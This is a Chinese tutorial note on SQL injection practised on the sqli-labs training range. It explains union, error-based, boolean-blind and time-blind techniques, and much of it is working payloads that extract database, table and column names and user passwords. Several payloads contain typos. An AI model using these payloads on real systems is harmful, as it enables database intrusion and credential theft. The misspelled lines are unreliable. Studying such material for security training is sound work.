sql注入知识点

什么是sql注入

Sql注入，就是用户输入的数据被构造成恶意 Sql 代码，Web 应用又未对动态构造的 Sql 语句使用的参数进行审查，就达到欺骗服务器执行恶意sql命令，从而我们就可以进一步的获取相应的数据信息。

说白了，就是构造一条能绕过一些限制的sql语句，来查询到想要得到的信息。

注入分类

按照查询分类

1. 字符型 当输入的参数为字符串时，称为字符型。

2. 数字型， 当输入的参数为整形时，就可以认为是数字型注入

按照注入方式

Union注入，报错注入，布尔注入，时间注入

什么是注入点

注入点就是可以进行注入的地方 （例如get类型的 ?id=）

如何判断是字符型注入还是数字型注入

使用and1=1和and1=2来判断

数字型一般提交的内容为数字，但数字不一定为数字型

以sqli-labs-master靶场为例

Less-1 在提交and1=1和提交and1=2都能正常显示就是字符型注入

Less-2提交and1=2不能正常显示，我们就判断为数字型注入

闭合方式

主要有4种

‘

“

‘)

“)

有页面返回信息的看页面出现的报错信息来判断

下图第一个‘和最后一个’闭合，中间两个‘闭合，所以这里就是‘闭合

输入闭合符号是来结束前面一段查询语句，我们在后面就可以加上我们需要的其他语句，

然后我们紧跟着在后面加上注释符号--+ 或者 # 或者 %23来把后面不需要的原始语句注释掉

判断数据库列数

使用group by 或者order by

超过列数就报错，没超过列数就显示正常

Information_schema里面包含了所以数据库的信息，其中还包含了两个数据表tables（所有库的所有的表名），colimns（所有库的所有的列名）

table_schema：数据库的名称

table_name:表名

column_name:列名

Union注入

union是联合查询，在sql注入中我们在union的后面来构造注入语句，注意要使union前后的列数相同

Union注入的步骤

1确定数字型还是字符型（闭合方式）

2使用group by或者order by 来进行判断union前面的那一个查询语句的列数

3查询回显位，将id改为一个不存在的数（因为默认只显示union前面的语句查询的结果，改id为不存在的数后可以显示出union后面语句查询到的内容）【这里回显的位置就是2和3的地方】

4然后来查询库名，表名，字段名，数据

使用database（）获取当前库名

查询当前库所有表名

查询当前库的列名

报错注入

报错注入存在的基础是后台对于输入输出的内容没有进行必要的校验

构造一条语句，把需要的查询语句夹杂在错误语句中，返回的报错提示中包含着我们查询到的内容。

常用的报错注入方式

1通过extractValue()报错注入

2通过updateXml()报错注入

3通过floor()报错注入

ExtractValue()报错注入

extractvalue()：从目标XML中返回包含所查询值的字符串。

　extractvalue (第一个参数,第二个参数);用来查询

　　第一个参数：xml文档名称

第二个参数：路径

xml文档名称可以随便写

concat()是返回时把括号里面的内容拼接起来

extractvalue()函数所能显示的错误信息最大长度为32，如果错误信息超过了最大长度，有可能导致显示不全

substring(),00,20 从第00个字符开始显示20个字符（使用substring函数可以解决extractValue报错注入只能显示32个字符的问题）

查库名

?id=-1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

0x7e就是~的ascii码，这里面直接使用~容易报错所以用0x7e替

换也可以使用’~’

查表名

?id=-1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),3 --+

显示用户名，密码

updatexml报错注入

updatexml(xml_doument,XPath_string,new_value)用来替换

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc

第二个参数：XPath_string (Xpath格式的字符串) 路径

第三个参数：new_value，String格式，替换查找到的符合条件的数据

Updatexml报错原理

同extractvalue(),输入错误的第二个参数（更改路径符号）一般输入0x7e也就是~

?id=1")and 1=upadtexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=databadase())),3) --+

floor报错注入

rand()函数：随机返回0-1之间的小数

floor()函数：小数向下取整，向上取整数是ceiling（）

concat_ws()函数：将括号内的数据用第一个字段连接起来【concat_ws(符号，要拼接的数1，要拼接的数2)】

as别名

Count()函数返回匹配指定条件的行数。

limit 用来显示指定的行数

rand()函数：随机返回0-1之间的小数

select rand();计算结果在0-1之间

select rand()*2;计算结果在0-2之间

select rand()from emails;emails表有多少行就返回多少行随机显示计算结果

floor函数返回小于等于该值的最大整数.（说白了可以视为直接去除该数的小数，只保留整数）

select floor(rand()*2);结果随机为0或1

Concat_ws()函数，将括号内的数据用第一个字段连接起来

select concat_ws('_',(select database()),floor(rand()*2))

select concat_ws('_',(select database()),floor(rand()*2))from users;这里是有多少用户就有多少结果随机的行

as别名 ，group by分组

select concat_ws('_',(select database()),floor(rand()*2)) as a from users group by a;

把当前数据库名起一个别名a然后在users表里进行分组查询

count()函数；汇总统计数量

select count(*),concat_ws('_',(select database()),floor(rand()*2)) as a from users group by a;

报错原理

select floor(rand()*2)from users;根据表的行数随机显示0，1

select floor(rand(0)*2)from users;按照一定的顺序来进行排序

select floor(rand(1)*2)from users;按照一定的顺序来进行排序

select count(*),concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;

一定报错

select count(*),concat_ws('_',(select database()),floor(rand(1)*2)) as a from users group by a;

一定不报错

select concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;

把count(*)去掉之后就不在报错了，说明就是在统计时出现的错误

select concat_ws('_',(select database()),floor(rand(0)*2))from users ;

由此可见计算结果固定

select count(*),concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;

rand()函数进行group by和统计count()时可能会多次执行，导致键值key重复导致其报错

from users是为了有足够的次数，我们一般可以使用行数比较多的默认数据库的表information_schema.tables

盲注

盲注：页面没有报错回显，不清楚具体的返回值的时候，对数据库里的内容进行猜测，来进行sql注入

盲注分为布尔盲注，时间盲注，报错盲注

布尔盲注

网页只返回真假两种类型的页面，我们可以利用页面返回的不同来进行猜测数据

布尔盲注判断闭合符号

排除双引号”

排除单引号加括号’) 【如果是’)的话，单引号的那一个应该显示为真】

使用函数ascii() 可以将字母转换成数字

为什么要非要转化成数字？

因为此处命令可以执行，但不能把信息返回回来

数字好进行大小的比较（字母其实也可以只是麻烦些）

?id=1' union select 1,database(),3 --+

我们使用ascii()把查询的内容转化成数字，用页面的真假来进行判断

因为只能转换一个，所以只能一个一个的转换。

select ascii((select database()));只能显示一个字符转换的数字

函数substr((),1,1)从第一个字符开始，显示1个字符

select ascii(substr((select database()),1,1))

所以，我们可以通过页面的真假来判断数字的大小，推断出对应的字母，然后来拼凑出我们想要的内容。

我们一步步判断，当结果>114时页面为真，而>115时页面为假，结果为=115

?id=1' and ascii(substr((select database()),1,1))>100 --+

?id=1' and ascii(substr((select database()),1,1))>114 --+

?id=1' and ascii(substr((select database()),1,1))>115 --+

?id=1' and ascii(substr((select database()),1,1))=115 --+

数据量大时，我们要使用limit0，1从第0行开始显示1行从结果的第一行数据依次查询

查表名

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+

不然显示不出来

查列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 --+

时间注入

没有回显，没有报错，没有真假值的时候可以用时间盲注，但是前提是数据库会执行命令代码，只是不反馈页面信息

我们可以利用页面响应的不同，来逐个猜测内容

时间盲注闭合符判断

?id=1 and sleep(2) --+

?id=1'and sleep(2) --+

?id=1') and sleep(2) --+

?id=1" and sleep(2) --+

这里只能一个一个试，那个响应2s就是那个

函数sleep（）是休眠的时长，以秒为单位，可以为小数

函数if(condition,true,false) condition为条件，true当条件为真时返回的值，false当条件为假时返回的值

判断数据库名长度

?id=1'and if(length((select database()))>7,sleep(5),1)--+

查库名

?id=1' and if(ascii(substr((select database()),1,1))>100,sleep (0), sleep(5))--+

这里及时响应了说明库的首字母的ASCII码大于100

?id=1' and if(ascii(substr((select database()),2,1))>100,sleep (0),sleep(3))--+

更改substr参数推算第二个字母并以此推算剩余字母,直到得出结果

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3))--+

?id=1' and if(asci(substr((select column_name from information schema.columns where table _schema=database() and table_name='users' limit 0,1),1,1))>100,sleep(0),sleep(3))--+

?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100,sleep(0),sleep(3))--+

?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>100,sleep(0),sleep(3)--+